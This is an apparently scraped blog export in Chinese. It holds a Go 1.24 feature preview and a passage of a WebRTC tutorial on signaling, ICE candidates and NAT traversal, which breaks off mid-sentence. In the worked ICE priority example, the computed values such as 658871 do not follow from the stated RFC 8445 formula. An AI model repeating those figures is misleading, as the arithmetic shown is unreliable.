1.24似乎又回归到了我们熟悉的“静默期”，没有显著的语法特性更新。\n唯一一个值得提及的还是Go 1.23版本引入的实验特性：“带有类型参数的type alias”。如果你已经忘记这是一个什么语法特性，下面我就带你简单地回顾一下。\n传统的类型别名的形式是这样的：\ntype P = Q 在《“类型名称”在Go语言规范中的演变》一文中我们介绍过，Q是Named Type，包括Predeclared Type、Anonymous Type、Existing Defined Type以及Existing Alias Type，甚至可以用泛型类型实例化后的类型作为Q，比如：\ntype MySlice[T any] []T func main() { type P = MySlice[int] // MySlice[int]作为Q var p P fmt.Println(len(p)) // 0 } 但P中不能包含类型参数！下面这样的类型别名定义是不合法的：\ntype P[T any] = []T 不过Go 1.23版本以实验特性(需显式使用GOEXPERIMENT=aliastypeparams)支持了带有类型参数的类型别名，在Go 1.24中，这个实验特性转正了，成为了默认特性。我们看看下面这个示例：\n// go1.24-foresight/lang/generic_type_alias.go package main import \u0026#34;fmt\u0026#34; type MySlice[T any] = []T func main() { // 使用int类型实例化MySlice intSlice := MySlice[int]{1, 2, 3, 4, 5} fmt.Println(\u0026#34;Int Slice:\u0026#34;, intSlice) // 使用string类型实例化MySlice stringSlice := MySlice[string]{\u0026#34;hello\u0026#34;, \u0026#34;world\u0026#34;} fmt.Println(\u0026#34;String Slice:\u0026#34;, stringSlice) // 使用自定义类型实例化MySlice type Person struct { Name string Age int } personSlice := MySlice[Person]{ {Name: \u0026#34;Alice\u0026#34;, Age: 30}, {Name: \u0026#34;Bob\u0026#34;, Age: 25}, } fmt.Println(\u0026#34;Person Slice:\u0026#34;, personSlice) } 使用Gotip直接运行上面示例，我们可以得到如下结果：\nInt Slice: [1 2 3 4 5] String Slice: [hello world] Person Slice: [{Alice 30} {Bob 25}] 怎么理解带有类型参数的类型别名呢？在《Go 1.23中值得关注的几个变化》一文中，我们也介绍了Russ Cox给出的理解，即可以将其看成是一种“类型宏”(类似c中的#define)：\ntype MySlice[T any] = []T 就是在任何出现MySlice[T]的地方，将其换成[]T。\n在Go 1.23以实验特性出现的带类型参数的别名还有一些问题，比如下面这个本不该正常运行的示例(int切片类型是不满足comparable的)，在Go 1.23.0版本中是可以正常编译运行的：\n// go1.24-examples/lang/strict_alias.go package main import \u0026#34;fmt\u0026#34; type MySlice[T any] = []T type YourSlice[T comparable] = MySlice[T] func main() { // 使用int类型实例化MySlice intSlice := MySlice[int]{1, 2, 3, 4, 5} fmt.Println(\u0026#34;Int Slice:\u0026#34;, intSlice) intsliceSlice := YourSlice[[]int]{ []int{1, 2, 3}, []int{4, 5, 6}, } fmt.Println(\u0026#34;IntSlice Slice:\u0026#34;, intsliceSlice) } 不过在Go 1.24中该问题被修正，如果你使用gotip运行该示例，你将得到类似下面编译错误：\n./strict_alias.go:13:29: []int does not satisfy comparable 在gotip版go spec(截至2024.12.09)中，对带有类型参数的type alias有如下约束：\ntype A[P any] = P // illegal: P is a type parameter 即类型别名声明中的右侧已知类型不能是类型参数自身。但目前的gotip实现似乎忽略了这一条，下面代码在gotip下是可以正常编译运行的：\npackage main import \u0026#34;fmt\u0026#34; type A[P any] = P func main() { var a A[int] = 5 // identical to int fmt.Println(a) // 5 } 此外Go 1.23.0中，带有类型参数的别名类型是不能跨包使用的，但Go 1.24中这条限制被取消了，带有类型参数的别名类型可以与常规类型别名一样跨包使用。\n在Go 1.24中，你也可以通过设置GOEXPERIMENT=noaliastypeparams来禁用这一特性，但该设置将在Go 1.25中被移除。\n2. 编译器与运行时 2.1 运行时性能优化 Go 1.24版本在运行时方面实现了多个优化，包括采用基于Swiss Tables的原生map实现(#54766)、更高效的小对象内存分配以及改进的内部互斥锁实现，整体降低了2-3%的CPU开销。\nSwiss Table是由Google工程师于2017年开发的一种高效哈希表实现，旨在优化内存使用和提升性能，解决Google内部代码库中广泛使用的std::unordered_map所面临的性能问题。目前，Swiss Table已被应用于多种编程语言，包括C++ Abseil库的flat_hash_map(可替换std::unordered_map)、Rust标准库Hashmap的默认实现等。在字节工程师的提案下，Go runtime团队决定替换原生map的底层实现，改为基于Swiss Table。通过基于gotip的实测，大多数测试项中，新版基于swiss table的map的性能都有大幅提升，有些甚至接近50%！之前写过一篇《Go map使用Swiss Table重新实现，性能最高提升近50%》，大家可以移步到那里了解关于基于Swiss Table实现的map的原理的详情，这里就不赘述了。\n另外一个重要的性能优化是runtime: improve scaling of lock2中的提案，旨在针对当前runtime.lock2实现的问题进行优化，具体的propsal在design/68578-mutex-spinbit.md文件中。下面简略说一下该优化的背景、方案原理以及取得的效果。\n当前runtime.lock2的实现通过三态设计（未锁定、锁定、锁定且有等待线程），在高竞争情况下，多个线程反复轮询mutex的状态字，产生大量缓存一致性流量。每个轮询线程需要从内存中加载状态字，并在更新时触发缓存行失效，这导致性能大幅下降。而每次释放锁时，无论是否已有线程在轮询mutex状态字，都会尝试唤醒一个线程，这进一步增加了系统负载。总之，现有的三态设计不能有效限制线程的忙等待行为。即使锁的临界区操作非常短，线程依然会因为抢占资源而竞争加剧。\n新提案引入“spinbit”机制，扩展mutex状态字，增加一个”spinning”位，表示是否有线程处于忙等待状态。一个线程可以独占此位，在轮询状态字时拥有优先权。其他线程无需忙等待，直接进入休眠。同时提案优化了唤醒逻辑，当unlock2检测到已有线程正在忙等待时，不再唤醒休眠线程，从而减少不必要的线程切换和上下文切换。\n目前该优化提供了基于futex和非futex系统调用的两个实现，基于futex的版本适用于Linux平台，通过精细控制休眠线程的列表，进一步减少竞争。\n状态字中使用独立的位分别表示锁定状态、休眠线程存在与否、忙等待标志等，并通过位操作和Xchg8原子操作，确保性能和线程安全。\n新方案在高竞争状况下取得了显著的可扩展性提升，新实现的spinbit机制能维持性能稳定，而不是像现有实现那样随线程数增加而急剧下降。基准测试表明，在GOMAXPROCS=20时，性能提升达3倍。大部分线程可以按设计预期那样，直接休眠而非忙等待，减少了电力消耗和处理器资源占用。同时，通过对休眠线程的显式管理，可实现有针对性的唤醒，降低线程长期休眠的风险(避免饿死)。\n上述的基于Swiss table的map实现以及lock2优化是实验特性，但都是默认生效的，在Go 1.24中，你可以在构建阶段，通过显式设置GOEXPERIMENT=noswissmap和GOEXPERIMENT=nospinbitmutex关闭这两个实验特性。\n2.2 cgo：优化C代码调用 如果你决定不碰cgo，那么你大可略过这节的说明。\n传统cgo机制下调用c函数时，Go会保证传递给C函数的go指针指向的对象位于堆上。但如果C函数不保留Go指针的副本，并且不将该指针传递回Go代码，那么这个保证就是没有必要的。Go 1.24增加了下面注解用于显式告诉go编译器：不会有指针通过特定的C函数逃逸。\n// #cgo noescape cFunctionName 此外，当Go函数调用C函数时，它默认会为C函数中再调用Go函数做好准备，这当然会有一些额外开销。这对于那些不会调回Go函数的C函数也是没有必要的。在Go 1.24中新增的#cgo nocallback注解就是用于告诉编译器这些准备工作不是必需的：\n// #cgo nocallback cFunctionName 更多关于上述cgo优化c代码调用的新机制的说明，请参见cgo增加#cgo noescape和#cgo nocallback注解(#56378)。\n2.3 编译器禁止为C类型别名添加方法 Go 1.24之前，Go编译器允许在C类型的别名上声明方法，虽然某些时候它可以正常工作，如下面示例：\npackage main /* typedef int foo; */ import \u0026#34;C\u0026#34; type foo = C.foo func (foo) method() int { return 123 } func main() { var x foo println(x.method()) // \u0026#34;123\u0026#34; } 但这可能引入了潜在的类型安全性以及运行时错误问题，尽管目前为C类型别名添加方法的情形非常少。\nGo 1.24通过引入了一个新的编译器检查修复了该问题，该检查利用了isCgoGeneratedFile函数和类型名称的特征（如_Ctype_前缀）来识别C类型别名，并禁止在C类型别名上声明方法。\n3. 小结 本文对即将发布的Go 1.24版本的新特性进行了全面的展望。主要内容包括：\n语法更新：Go 1.24未显著增加新语法特性，但实验性特性“带有类型参数的类型别名”已转正为默认特性，允许更灵活的类型别名定义。\n编译器与运行时优化：\n运行时性能优化：引入了基于Swiss Tables的新原生map实现，显著提高了性能。还优化了内部互斥锁的实现，改善了高竞争情况下的性能。 cgo改进：新增了#cgo noescape和#cgo nocallback注解，优化C代码调用的效率。 编译器限制：禁止在C类型别名上声明方法，以提高类型安全性。 Go 1.24版本在语法上保持稳定，但在性能和安全性方面进行了多项关键优化，旨在提升开发者的体验和代码的效率。\n在接下来的“Go 1.24新特性前瞻：工具链和标准库”一文中，我将继续为大家带来更丰富详尽的Go 1.24新特性，敬请期待！\n本文涉及的源码可以在这里下载。\n4. 参考资料 Go 1.24 milestone – https://github.com/golang/go/milestone/322 Go 1.24 Release Notes Draft – https://tip.golang.org/doc/go1.24 Go Release Dashboard – https://dev.golang.org/release Go spec tip – https://tip.golang.org/ref/spec Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/12/16/go-1-24-foresight-part1/","summary":"\u003ch1 id=\"go-124新特性前瞻语法编译器与运行时--tony-bai\"\u003eGo 1.24新特性前瞻：语法、编译器与运行时 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"go-124新特性前瞻语法编译器与运行时\"\u003eGo 1.24新特性前瞻：语法、编译器与运行时\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e十二月 16, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/12/16/go-1-24-foresight-part1/#respond\" title=\"《Go 1.24新特性前瞻：语法、编译器与运行时》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 29\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-1-24-foresight-part1-1.png\"\u003e\u003c/p\u003e","title":"Go 1.24新特性前瞻：语法、编译器与运行时"},{"content":"\n本文永久链接 – https://tonybai.com/2024/12/14/webrtc-first-lesson-how-connection-estabish\n在上一篇文章《WebRTC第一课：网络架构与NAT工作原理》中，我们介绍了WebRTC的网络架构和NAT的基本概念，学习了WebRTC采用端对端（P2P）的通信模型，知道了NAT（网络地址转换）的概念以及给像WebRTC这样的直接P2P通信带来的挑战。\n在实际的网络环境中，建立WebRTC这样的端到端连接的确并非易事。因此，在这篇文章中，我将继续上一篇文章的内容，全面探讨一下WebRTC连接建立的全流程，涵盖信令交换、ICE候选信息采集和选择、NAT穿透的各个关键步骤，希望能给大家理解WebRTC技术栈带去帮助。\n1. WebRTC连接建立概览 在深入细节之前，我们先用一个时序图来概览WebRTC连接建立的主要步骤：\n注：上图由mermaid生成，对应的脚本在webrtc-first-lesson/part2/process-overview.mermaid。\n这个过程可以概括为以下几个主要步骤：\n信令交换：客户端通过信令服务器交换必要的连接信息，包括会话描述协议（SDP）数据。 ICE候选收集：每个客户端收集可能的连接方式（称为ICE候选）。 候选交换：通过信令服务器交换ICE候选信息。 连通性检查：客户端尝试各种可能的连接方式。 建立P2P连接：选择最佳的连接路径，建立直接的端到端连接。 在这个过程中，我们会涉及到几个关键概念：\n信令（Signaling）：用于协调通信并交换元数据的过程。 ICE（Interactive Connectivity Establishment）：一种用于在各种网络情况下协助建立端到端连接的框架。 NAT穿透（NAT Traversal）：克服网络地址转换带来的通信障碍的技术。 接下来，我们将详细探讨这些概念，并基于这些概念详细说明WebRTC建连的全流程。\n我们先来看看信令(Signaling)。\n2. 信令：WebRTC连接的基础 WebRTC技术栈中唯一没有标准化的就是信令(Signaling)，但信令却又是WebRTC连接的基础和必不可少的部分。\n信令是WebRTC中用于协调通信过程的“指令”，它负责在对等端之间交换建立连接所需的元数据，但不会直接传输音视频数据。信令的主要作用包括：\n交换会话描述协议（SDP）信息 交换网络配置信息（ICE候选） 协调会话的开始和结束 处理错误和会话状态变化 WebRTC本身并未定义信令协议标准，这主要考虑的是信令的设计与实现依赖于具体应用的需求，同时也有兼容性方面的考虑，比如：使WebRTC能够与现有的通信系统集成。在安全性方面，自定义信令也可以允许应用层来控制如何交换敏感信息。\n目前用于WebRTC信令协议实现的常见方案主要包括基于WebSocket的自定义协议、SIP协议(Session Initiation Protocol)以及一些像XMPP(eXtensible Messaging and Presence Protocol)这样的成熟的即时通讯协议等。\n就我个人而言，SIP和XMPP这样的传统协议都太重了，协议自身理解起来就有门槛！基于WebSocket的自定义协议，既简单又灵活，适合大多数业务不那么复杂的场景，在本文中，我们的信令协议就基于WebSocket自定义协议来实现。\nWhy Websocket？用WebSocket承载自定义信令协议的主要原因是几乎所有现代浏览器和后端框架都支持WebSocket，并且它是全双工通信，允许服务器和客户端随时发送消息，并且建立连接后，消息交换的开销也很小。\n在设计信令语义时，我们通常会采用“Room”这个抽象模型来管理参与通信的客户端，这与WebRTC常用于互联网音视频应用不无关系。Room模型有助于组织和管理多个参与者，控制消息的广播范围，并可以实现更复杂的通信场景（如多人会议系统）。\n下面是基于Room模型设计的信令交互的典型流程：\n注：上图由mermaid生成，对应的脚本在webrtc-first-lesson/part2/signaling-room-model-flow.mermaid。\n下面对图中几个关键流程做一些简要说明：\n房间创建 Client1向SignalingServer发送创建房间的请求，SignalingServer创建房间并返回房间ID给Client1。\n客户端加入 Client2使用房间ID向SignalingServer发送加入房间的请求，SignalingServer通知Client1有新客户端加入。SignalingServer向Client2确认加入成功，并返回房间信息。重复相同的过程，Client3也如此加入了房间。\nWebRTC连接建立（以Client1和Client2为例） Client1创建Offer并通过SignalingServer向Client2发送Offer，SignalingServer将Offer转发给Client2。Client2创建Answer，并通过SignalingServer向Client1转发Answer。之后，Client1和Client2还会以类似的方式互相交换ICE候选信息，通过SignalingServer进行转发。\n注：offer是由发起者（通常是调用方）创建的SDP（Session Description Protocol）消息，表示希望建立的媒体会话的描述。answer是由接收者（通常是被叫方）回复的SDP消息，表示其对offer的响应。SDP中通常包含媒体格式、网络信息、编解码器等详细信息，供双方协商和确认，具体可参考我之前的文章《使用Go和WebRTC data channel实现端到端实时通信》。\n客户端离开(以Client2离开为例) Client2向SignalingServer发送离开房间的请求，SignalingServer通知房间内的其他客户端（Client1 和 Client3）有客户端离开。\n房间关闭 Client1（假设是房主）向SignalingServer发送关闭房间的请求。SignalingServer通知剩余的客户端（Client3）房间已关闭。\n我们看到：这个流程展示了Room模型在WebRTC信令过程中的典型应用：\nRoom作为一个逻辑单元，管理多个参与者之间的通信。 SignalingServer负责转发所有的信令消息，包括房间管理消息和WebRTC相关的SDP和ICE候选信息。 客户端可以动态地加入和离开房间，SignalingServer会及时通知房间内的其他客户端。 房间可以由创建者（通常是第一个加入的客户端）来关闭。 由此来看，支持Room模型的信令服务器要支持房间创建、加入房间、转发Offer和Answer、离开房间、房间关闭等关键API。同时我们也能看出这种模型非常适合于实现多人音视频通话、在线教室、游戏大厅等应用场景，它提供了一种结构化的方式来管理复杂的多方实时通信。\n有了信令服务器，WebRTC通信两端就可以交换元信息了，这其中就包含用于建立端到端通信的ICE候选信息。接下来，我们就来看看WebRTC端到端建连的关键流程：交互式连接建立(ICE, Interactive Connectivity Establishment)，以及这个过程中可能发生的NAT穿透。\n3. ICE、NAT穿透与连接最终建立 ICE是一种用于在NAT（网络地址转换）环境中建立对等连接的协议，它允许两个agent（在RFC8445中用AgentL和AgentR指代，如下图）发现彼此的最佳通信路径，进而完成端到端的连接。\n图：ICE典型部署场景(from RFC8445)\n在这个过程中，我们还会涉及两个概念，一个是STUN(Session Traversal Utilities for NAT)服务器，一个是ICE Candidiate。\nSTUN服务器是帮助上述agent(AgentL和AgentR)发现其公网IP地址和端口的服务网元，这对于NAT穿透至关重要。而ICE Candidiate则是agent采集并与对端交换的、可能用于通信的潜在端点地址（IP地址和端口的组合）。\n为了更直观的理解，下面我们来看一下通过ICE选择最佳通信路径的一般流程：\n注：上图由mermaid生成，对应的脚本在webrtc-first-lesson/part2/ice-protocol-sequence.mermaid。\n在信令流程发起和转发Offer/Answer之后，两个端都会开启ICE最佳通信路径选择的流程。\n3.1 ICE Candidate Gathering 这第一步就是ICE Candidate Gathering，即收集ICE候选者（端点）信息。\n在这个过程中，每个agent收集可能的候选者类型包括如下几种：\n主机候选者(Host Candidate) 主机候选者，即本地接口的地址。通过直接使用本地网络接口的IP地址和端口即可获得，比如：192.168.1.2:5000。\n反射候选者(Server Reflexive Candidate) 反射候选者是通过STUN服务器查询公网IP地址和端口获得的，比如203.0.113.1:6000。\nSTUN通常是位于公网的一个服务器，比如最知名的公共stun是Google的“stun:stun.l.google.com:19302”。在收集反射候选者时，Agent(客户端)会向STUN服务器发送Binding Request（绑定请求），STUN服务器会响应一个Binding Response（绑定响应），其中包含客户端的公共IP地址和端口信息。\n中继候选者(Relay Candidate) 中继候选者是通过TURN服务器(Traversal Using Relays around NAT)获得的端点地址（在上图中未显示），是在开启中继模式的情况下，由客户端向TURN服务器发送请求以获取中继地址。只有在WebRTC通信双方(AgentL和AgentR)无法直连的情况下(通常是NAT穿透失败导致的)，才会使用中继候选者，并通过TURN服务器进行数据中继来实现两端的数据通信。\n注：在本文中，我们暂不考虑中继模式。\n对端反射候选者（Peer Reflexive Candidates） 严格来说，对端反射候选者并非是在这个环节能获取到的候选者。对端反射是在ICE连接检查过程中动态发现的候选者，只有在连接检查过程中才能发现，且不太可预测，取决于网络拓扑和NAT行为。对比反射候选者，反射后选者是通过STUN服务器发现的。当一个端点向STUN服务器发送请求时，STUN服务器会回复该端点在公网上的IP地址和端口。而对端反射候选者是在两个端点尝试直接通信时发现的。当一个端点通过其已知的候选者（如主机候选者或反射候选者）向另一个端点发送数据时，如果成功到达，接收端会发现一个新的、之前未知的远程地址。这个新发现的地址就成为了对端反射候选者。\n在ICE候选者信息收集的过程中，两端的Agent还要通过定期发送的STUN Binding请求，确保收集到的ICE反射/中继候选者信息在连接建立期间保持有效。这个过程在RFC 8445中被称为“Keeping Candidates Alive”，它可以帮助检测网络环境的变化，比如IP地址或端口的变化。通过定期的STUN请求，ICE可以确保候选者在NAT设备中的映射保持活跃，避免因长时间没有通信而被关闭。\n3.2 Candidate Priorization 两端的Agent在收集完候选者信息后，会通过信令服务器交换他们收集到的候选者信息，这个流程在前面的信令交互流程图中也是有的，是信令协议要支持的功能的一部分。\n一旦ICE Candidate Gathering以及candidate交换结束，两端的agent会对自己收集到的candidate以及收到的对端的candidate信息进行”Candidate Priorization”，即对自己收集到候选者集合和交换得到的对端候选者集合分别按优先级进行排序。\nRFC8445中给出推荐的候选者的优先级公式如下：\npriority = (2^24)*(type preference) + (2^8)*(local preference) + (2^0)*(256 - component ID) 在公式中有三个名词：type preference、local preference和component ID。下面分别介绍一下这三个名词的含义：\ntype preference Type preference一个表示候选者类型优先级的值。不同类型的候选者会被赋予不同的type preference值，以反映它们在ICE过程中的相对重要性。\n它的取值范围通常是0到126之间的整数，值越大，优先级越高。 RFC8445中常见候选者类型及其推荐值如下：\n主机候选者 (Host candidates): 126 反射候选者 (Server Reflexive candidates): 100 对端反射候选者 (Peer Reflexive candidates): 110 中继候选者 (Relay candidates): 0 通过不同类型的候选者的推荐值，我们也能看出：主机候选者 \u0026gt; 对端反射候选者 \u0026gt; 反射候选者 \u0026gt; 中继候选者。\n注：Peer Reflexive candidates被赋予比Server Reflexive candidates更高的优先级，前面提过，是因为它不是在ICE候选者收集阶段就能发现的，而是在后面的连接检查阶段才能发现，因此可能代表更直接的连接路径。\nlocal preference local preference是一个表示本地优先级的数值，其取值范围0~65535。这个值由本地ICE agent根据自己的策略来设置。\nRFC 8421（Guidelines for Multihomed and IPv4/IPv6 Dual-Stack Interactive Connectivity Establishment (ICE)）进一步补充了关于local preference的使用建议，特别是在多宿主和双栈（IPv4/IPv6）环境下。建议为IPv6候选地址分配比IPv4更高的local preference值，比如：IPv6地址可以分配65535（最高优先级），IPv4地址可以分配65535-1=65534（次高优先级）。在多宿主(Multihomed)环境中，可以根据网络接口的特性（如带宽、延迟、成本等）来分配不同的local preference值。\n注：多宿主环境(Multihomed)指的是一个设备或系统通过多个网络接口连接到网络的情况。这些接口可以连接到同一个网络，也可以连接到不同的网络。多宿主环境下，每个网络接口都可能产生多个ICE候选者，需要为不同接口的候选者分配合适的优先级，可能需要考虑不同网络接口的特性（如带宽、延迟、成本）。\nComponent ID Component ID用于区分同一媒体流中的不同组件。在ICE中，一个媒体流可能包含多个组件，例如RTP和RTCP。Component ID通常是从1开始的连续整数。在公式中使用(256 – component ID)是为了确保值较小的component ID得到较高的优先级。RTP组件通常被赋值为1，RTCP组件(如果存在)通常被赋值为2。Component ID在优先级计算中的作用相对较小，主要用于在其他因素相同的情况下，为同一流的不同组件提供细微的优先级区分。\n下面我们用一个示例来演示一下候选者计算优先级的过程。示例将展示一个ICE agent如何计算自己的candidates和对端candidates的优先级。我们假设这是一个音频流的情况，涉及RTP组件。假设我们有两个agent：AgentL和AgentR，我们将关注AgentL的视角。\nAgentL的收集的候选者集合如下：\nHost candidate (IPv4): 192.168.1.10:50000 Server Reflexive candidate: 203.0.113.5:50000 Relay candidate: 198.51.100.1:50000 AgentL通过信令交换获得的AgentR的候选者集合如下：\nHost candidate (IPv6): 2001:db8::1:5000 Host candidate (IPv4): 192.168.2.20:5000 Server Reflexive candidate: 203.0.113.10:5000 上面优先级计算公式中各个参数值选择如下：\nType preferences: - Host: 126 - Server Reflexive: 100 - Relay: 0 Local preferences: - IPv6: 65535 - IPv4: 65534 Component ID: 1 (RTP) 下面是AgentL的候选者优先级的计算过程：\n- Host (IPv4): (2^24) * 126 + (2^8) * 65534 + (256 - 1) = 658871 - Server Reflexive: (2^24) * 100 + (2^8) * 65534 + (256 - 1) = 658195 - Relay: (2^24) * 0 + (2^8) * 65534 + (256 - 1) = 655595 AgentR的候选者优先级（从AgentL的角度计算）计算过程：\n- Host (IPv6): (2^24) * 126 + (2^8) * 65535 + (256 - 1) = 658881 - Host (IPv4): (2^24) * 126 + (2^8) * 65534 + (256 - 1) = 658871 - Server Reflexive: (2^24) * 100 + (2^8) * 65534 + (256 - 1) = 658195 最终优先级排序（从高到低）：\nAgentR: Host (IPv6) - 658881 AgentR: Host (IPv4) - 658871 AgentL: Host (IPv4) - 658871 AgentR: Server Reflexive - 658195 AgentL: Server Reflexive - 658195 AgentL: Relay - 655595 这个优先级排序将用于指导下一阶段的ICE连接检查(ICE Connectivity Checks)顺序，但最终的连接选择还会考虑连接检查的结果。在实际场景中，可能会有更多的候选者，包括不同网络接口的多个Host候选者等等。\n3.3 ICE Connectivity Checks 有了两端的候选者集合以及优先级值后，两个Agent就可以进入下一阶段ICE Connectivity Checks(连接检查)了。\n连接检查实际也可以划分为三个阶段，我们逐一来看一下。\n3.3.1 确定角色(Determining Role) 在 WebRTC 的 ICE（Interactive Connectivity Establishment）连接过程中，角色的确定对于连接检查非常重要。ICE 的角色分为两种：控制方（Controlling）和被控方（Controlled）。这些角色用于决定在多个候选路径中选择哪一条作为最终的连接路径。控制方(Controlling Agent) 负责最终选择使用哪个候选对进行通信，而受控方(Controlled Agent)则需遵循控制方的决定。\n在offer/answer的信令模型中，通常发起offer的一方会被指定为控制方，而应答(answer)的一方会成为受控方。有时可能会出现两个agents都认为自己是控制方的情况。ICE提供了解决这种冲突的机制：每个agent生成一个随机数(称为tie-breaker)，当发现冲突时，比较tie-breaker，tie-breaker较大的agent成为控制方。\nICE（Interactive Connectivity Establishment）连接检查是由控制方和被控方的两个ICE agent同时进行的。两者会各自发起连接检查，以确保双方能够建立有效的连接。控制方通过在检查中包含USE-CANDIDATE属性来提名(Nomination)候选对。\n在某些情况下，角色可能会在ICE过程中切换，比如如果发现角色冲突并解决冲突后，又比如在ICE重启(restart)的特定场景下。\n3.3.2 形成检查列表(Forming checklist) 通信的双方，无论是控制端还是被控端都会独立形成自己的检查列表。\n检查列表是所有可能的候选者对（Candidate Pair）的组合。让我们结合上面的示例，详细说明这个过程。\n在我们的例子中，以AgentL为例，每个本地候选与每个远程候选会形成一对，这里会形成9个候选者对：\n(L-Host, R-Host-IPv6) (L-Host, R-Host-IPv4) (L-Host, R-Server-Reflexive) (L-Server-Reflexive, R-Host-IPv6) (L-Server-Reflexive, R-Host-IPv4) (L-Server-Reflexive, R-Server-Reflexive) (L-Relay, R-Host-IPv6) (L-Relay, R-Host-IPv4) (L-Relay, R-Server-Reflexive) 根据之前计算的优先级，对候选对对优先级进行计算，并按从高到底进行排序。RFC8445中给出了候选者对优先级计算的公式：\n// Let G be the priority for the candidate provided by the controlling agent. // Let D be the priority for the candidate provided by the controlled agent. pair priority = 2^32*MIN(G,D) + 2*MAX(G,D) + (G\u0026gt;D?1:0) 具体的计算过程这里就不体现了，排序后的检查列表可能如下：\n(L-Host, R-Host-IPv6) (L-Host, R-Host-IPv4) (L-Server-Reflexive, R-Host-IPv6) (L-Server-Reflexive, R-Host-IPv4) (L-Host, R-Server-Reflexive) (L-Server-Reflexive, R-Server-Reflexive) (L-Relay, R-Host-IPv6) (L-Relay, R-Host-IPv4) (L-Relay, R-Server-Reflexive) AgentR（被控方） 也会形成自己的检查列表，与AgentL类似，但AgentR并不主动选择最终的路径。\n有了排序后的候选者对后，我们接下来便可以执行连接检查了，AgentL和AgentR会各自执行自己的检查。\n3.3.3 执行连接检查(Performing Connectivity Checks) 我们以AgentL为例，看看执行连接检查的主要步骤。\nAgentL开始按照检查列表的顺序(优先级由高到低)发送STUN Binding请求:\nAgentL向R-Host-IPv6发送STUN Binding请求； 如果第一个检查失败或超时，AgentL会继续向第二个候选者对的R-Host-IPv4发送STUN Binding请求； 如果失败，继续下一个候选对…，依次类推 同时，AgentR也会执行类似的过程，按照他自己的检查列表发送自己的STUN Binding请求。\n当AgentL收到STUN Binding响应时，可能有以下几种可能：\n如果是成功的响应，这个候选对被标记为有效。 如果响应来自一个未知地址，创建一个新的Peer Reflexive候选。 之后，AgentL便会更新候选列表，将新候选与所有远程候选配对，形成新的候选对，并根据ICE优先级算法重新排序检查和更新检查列表。AgentL还可能对新形成的候选对立即开始连接性检查。\n3.3.4 NAT穿透与最终候选路径的形成 如果两端都在NAT后面，那么Peer Reflexive候选者就是NAT穿透的关键！我们结合下图详细说说ICE过程是如何一步步的选出由新发现的Peer Reflexive组成的最终候选路径的。\n注：上图由mermaid生成，对应的脚本在webrtc-first-lesson/part2/ice-nat-traversal-sequence.mermaid\n图中使用A、B作为两个端点，通过stun服务器获取的反射候选为A’和B’，通过连接检查阶段发现的对端反射候选(Peer Reflexive)分别为A”和B”。接下来，我们详细说明一下图中流程。\nICE候选收集阶段 端点A和B都收集主机候选。A和B都通过各自的NAT向STUN服务器发送请求，获取服务器反射候选（A’和B’）。\n候选交换 A和B交换各自的候选列表，包括主机候选和反射候选（A’和B’）。\n连接检查开始 A向B的反射候选B’发送STUN绑定请求，这个请求经过A的NAT和B的NAT。\nB收到请求后，发现源地址（A”）与A提供的候选(A’)不匹配，因此创建一个新的Peer Reflexive候选A”。\nB通过NAT链回复STUN绑定响应。\nA收到响应后，从响应中的XOR-MAPPED-ADDRESS字段获知并创建自己的Peer Reflexive候选A”。\n注：STUN协议中的XOR-MAPPED-ADDRESS字段可用于帮助对等方（peer）在ICE连接检查阶段找到自己的Peer Reflexive地址。\nB也向A发送STUN绑定请求 类似的过程在反向发生。A创建B的Peer Reflexive候选B”。B从A的响应中获知并创建自己的Peer Reflexive候选B”。\n更新候选对和继续检查 A和B都更新各自的检查列表，包括新的(A”, 